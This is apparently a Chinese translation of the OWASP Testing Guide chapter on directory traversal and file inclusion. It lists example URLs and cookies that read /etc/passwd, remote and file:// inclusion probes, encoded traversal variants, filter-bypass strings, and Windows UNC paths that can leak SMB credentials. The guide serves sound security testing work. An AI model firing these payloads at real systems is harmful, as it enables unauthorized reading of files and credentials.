目录导航
owasp渗透测试指南文档地址:
https://github.com/OWASP/OWASP-Testing-Guide-v5
例如:目录遍历和文件包含漏洞的测试
随机翻译一篇,地址:
github.com/OWASP/../4.6.1_Testing_Directory_Traversal_File_Include_OTG-AUTHZ-001
总结
许多web应用程序在日常操作中使用和管理文件。攻击者可以使用未经良好设计或部署的输入验证方法,利用系统来读取或写入不可访问的文件。在特定情况下,可以执行任意代码或系统命令。
传统上,web服务器和web应用程序实现身份验证机制来控制对文件和资源的访问。web服务器试图将用户的文件限制在“根目录”或“web文档根目录”中,后者表示文件系统上的物理目录。用户必须将此目录视为web应用程序层次结构中的基本目录。
使用访问控制列表(acl)定义权限,acl标识哪些用户或组应该能够访问、修改或执行服务器上的特定文件。这些机制旨在防止恶意用户访问敏感文件(例如,类unix平台上的common/etc/passwd文件)或避免执行系统命令。
许多web应用程序使用服务器端脚本来包含不同类型的文件。使用这种方法来管理图像、模板、加载静态文本等非常常见。不幸的是,如果未正确验证输入参数(即表单参数、cookie值),这些应用程序将暴露安全漏洞。
在web服务器和web应用程序中,在路径遍历/文件包含攻击中会出现这种问题。通过利用此类漏洞,攻击者能够读取通常无法读取的目录或文件,访问Web文档根目录之外的数据,或包含外部网站中的脚本和其他类型的文件。
在《owasp测试指南》中,只考虑与web应用程序相关的安全威胁,而不考虑对web服务器的威胁(例如,在microsoft iis web服务器中臭名昭著的“5c转义代码”)。更多阅读建议将在参考资料部分提供给感兴趣的读者。
这种攻击也称为点斜杠攻击(../)、目录遍历、目录爬升或回溯。
在评估期间,为了发现路径遍历和文件包含的缺陷,测试人员需要执行两个不同的阶段:
(a)输入向量计数(对每个输入向量的系统评估)
(b)测试技术(对攻击者利用漏洞使用的每种攻击技术进行系统评估)
How to Test(如何测试)
Black Box Testing(黑盒测试)
Input Vectors Enumeration(输入向量枚举)
为了确定应用程序的哪个部分易受输入验证绕过的攻击,测试人员需要枚举应用程序中接受用户内容的所有部分。这还包括http get和post查询以及常见的选项,如文件上传和html表单。
以下是本阶段要执行的检查示例:
是否有可用于文件相关操作的请求参数?
有什么不寻常的文件扩展名吗?
有有趣的变量名吗?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
是否可以识别web应用程序用于动态生成页面或模板的cookie?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Testing Techniques(测试技巧)
下一个测试阶段是分析web应用程序中的输入验证功能。使用前面的示例,名为getuserprofile.jsp的动态页面从文件加载静态信息并向用户显示内容。攻击者可以插入恶意字符串“../../../../etc/passwd”以包含Linux/Unix系统的密码哈希文件。显然,这种攻击只有在验证检查点失败时才可能发生;根据文件系统权限,web应用程序本身必须能够读取文件。
要成功测试此缺陷,测试人员需要了解正在测试的系统和所请求文件的位置。从iis web服务器请求/etc/passwd是没有意义的。
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
cookies遍历举例:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
也可以包括外部网站上的文件和脚本。
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
如果接受协议作为参数,如上面的例子所示,也可以这样探测本地文件系统。
http://example.com/index.php?file=file:///etc/passwd
如果接受协议作为参数,就像上面的例子一样,也可以探测本地服务和附近的服务。
http://example.com/index.php?file=http://localhost:8080
或者
http://example.com/index.php?file=http://192.168.0.2:9080
下面的示例将演示如何在不使用任何路径遍历字符的情况下显示cgi组件的源代码。
http://example.com/main.cgi?home=main.cgi
名为“main.cgi”的组件与应用程序使用的普通HTML静态文件位于同一目录中。在某些情况下,测试人员需要使用特殊字符(如“.”,“%00” “null”,…)对请求进行编码,以便绕过文件扩展控制或防止脚本执行。
提示:对于开发人员来说,不期望每种形式的编码,因此只对基本编码内容进行验证是一个常见的错误。如果开始测试字符串不成功,请尝试其他编码方案。
每个操作系统使用不同的字符作为路径分隔符:
Unix-like OS:
- root directory: “
/
“ - directory separator: “
/
“
Windows OS’ Shell’:
- root directory: “
<drive letter>:\
“ - directory separator: “” or “/”
Classic Mac OS:
- root directory: “
<drive letter>:
“ - directory separator: “
:
“
我们应该考虑以下字符编码机制:
- URL encoding and double URL encoding
%2e%2e%2f
represents../
%2e%2e/
represents../
..%2f
represents../
%2e%2e%5c
represents..\
%2e%2e\
represents..\
..%5c
represents..\
%252e%252e%255c
represents..\
..%255c
represents..\
and so on.
- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af
represents../
..%c1%9c
represents..\
还有其他操作系统和应用程序框架的特殊考虑。例如,windows对文件路径的解析非常灵活。
- Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:
- Angle brackets “>” and “<” at the end of the path
- Double quotes (closed properly) at the end of the path
- Extraneous current directory markers such as “./” or “.\”
- Extraneous parent directory markers with arbitrary items that may or may not exist Examples:
file.txt
file.txt...
file.txt<spaces>
file.txt””””
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
- Windows API: The following items are discarded when used in any shell command or API call where a string is taken as a filename:
- periods
- spaces
- Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
- Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.
- May be equivalent to a drive letter such as
c:\
, or even a drive volume without an assigned letter.\\.\GLOBALROOT\Device\HarddiskVolume1\
- Refers to the first disc drive on the machine.
\\.\CdRom0\
- May be equivalent to a drive letter such as
Gray Box Testing(灰盒测试)
当使用灰盒方法进行分析时,测试人员必须遵循与黑盒测试相同的方法。但是,由于他们可以检查源代码,因此可以更容易和准确地搜索输入向量(测试阶段(a))。在源代码检查期间,他们可以使用简单的工具(例如grep命令)在应用程序代码中搜索一个或多个常见模式:包含函数/方法、文件系统操作等。
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
使用在线代码搜索引擎(例如,search code),也可以在互联网上发布的开源软件中发现路径遍历缺陷。
对于php程序测试如下:
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
使用灰盒测试方法,可以发现在标准黑盒评估期间通常较难发现,甚至不可能发现的漏洞。
一些web应用程序使用存储在数据库中的值和参数生成动态页面。当应用程序向数据库添加数据时,可能会插入巧尽心思构建的路径遍历字符串。由于包含函数中的参数看起来是内部的,是“安全的”,但实际上并不是这样,这类安全问题很难被发现。
此外,通过查看源代码,可以分析处理无效输入的函数:一些开发人员试图更改无效输入以使其有效,从而避免警告和错误。这些功能通常容易出现安全缺陷。
考虑使用以下说明的web应用程序:
filename = Request.QueryString(“file”); Replace(filename, “/”,”\”); Replace(filename, “..\”,””);
通过以下方法对缺陷进行测试:
file=....//....//boot.ini file=....\\....\\boot.ini file= ..\..\boot.ini
用到的工具:
- DotDotPwn – The Directory Traversal Fuzzer
- Path Traversal Fuzz Strings (from WFuzz Tool)
- OWASP ZAP
- Burp Suite
- Paros
- WebScarab
- Enconding/Decoding tools
- String searcher “grep”
- DirBuster
雨苁:本次仅仅对owasp目录遍历章节的渗透测试指南进行简单翻译,owasp渗透测试指南还有很多章节,自取,自译,share and fire !
owasp渗透测试指南文档地址:
https://github.com/OWASP/OWASP-Testing-Guide-v5